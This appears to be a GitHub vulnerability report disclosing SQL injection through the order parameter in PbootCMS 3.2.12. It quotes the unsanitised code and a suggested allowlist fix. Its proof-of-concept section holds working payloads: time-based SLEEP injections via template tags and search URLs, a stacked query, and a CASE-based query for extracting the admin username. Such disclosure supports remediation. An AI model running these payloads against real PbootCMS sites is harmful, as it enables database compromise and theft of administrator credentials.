-
Notifications
You must be signed in to change notification settings - Fork 0
PbootCMS 3.2.12 - SQL Injection via Order Parameter #5
Copy link
Copy link
Open
Description
supplier
https://github.com/hnaoyun/PbootCMS
Vulnerability file
apps/home/controller/ParserController.php
core/basic/Model.php
describe
Code analysis
In ParserController.php, the order parameter from template tags {pboot:list} and {pboot:search} is processed without proper sanitization:
// Line 1255-1267
default:
if ($value) {
$orders = explode(',', $value);
foreach ($orders as $k => $v) {
if (strpos($v, 'ext_') === 0) {
$orders[$k] = 'e.' . $v;
} else {
$orders[$k] = 'a.' . $v; // No validation!
}
}
$value = implode(',', $orders);
$order = $value; // Directly used in SQL!
}The Model::order() method directly concatenates the input into SQL:
// Model.php Line 659
$this->sql['order'] = 'ORDER BY ' . $order; // Direct concatenation!This allows attackers to inject arbitrary SQL through the order parameter.
POC
Method 1: Via template tag
{pboot:list scode=1 order=id,(SELECT SLEEP(5))}
[list:title]
{/pboot:list}Method 2: Via search parameter
GET /search.html?keyword=test&order=id,(SELECT SLEEP(5)) HTTP/1.1
Host: target.comTime-based blind injection:
order=id,(SELECT SLEEP(5))
order=id;SELECT SLEEP(5)--
order=id AND (SELECT SLEEP(5) FROM ay_user WHERE username='admin')
Data extraction:
order=id,(SELECT CASE WHEN (SELECT username FROM ay_user LIMIT 1)='admin' THEN 1 ELSE 2 END)
Result:
- The SQL query is executed with injected payload
- Database responds with 5 second delay (SLEEP)
- Can extract sensitive data including admin credentials
Impact
- Complete database compromise
- User credential extraction (passwords, emails)
- Authentication bypass
- Potential remote code execution via file write into web directory
Fix suggestion
// Fixed code
case 'order':
$allowed_orders = ['id', 'date', 'sorting', 'istop', 'isrecommend', 'isheadline', 'visits', 'likes', 'oppose'];
$orders = explode(',', $value);
$safe_orders = [];
foreach ($orders as $v) {
$v = trim($v);
$parts = preg_split('/\s+/', $v);
$field = $parts[0];
$direction = isset($parts[1]) ? strtoupper($parts[1]) : 'DESC';
if (in_array($field, $allowed_orders) && in_array($direction, ['ASC', 'DESC'])) {
$safe_orders[] = 'a.' . $field . ' ' . $direction;
}
}
if ($safe_orders) {
$order = implode(',', $safe_orders) . ',a.istop DESC';
}
break;Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels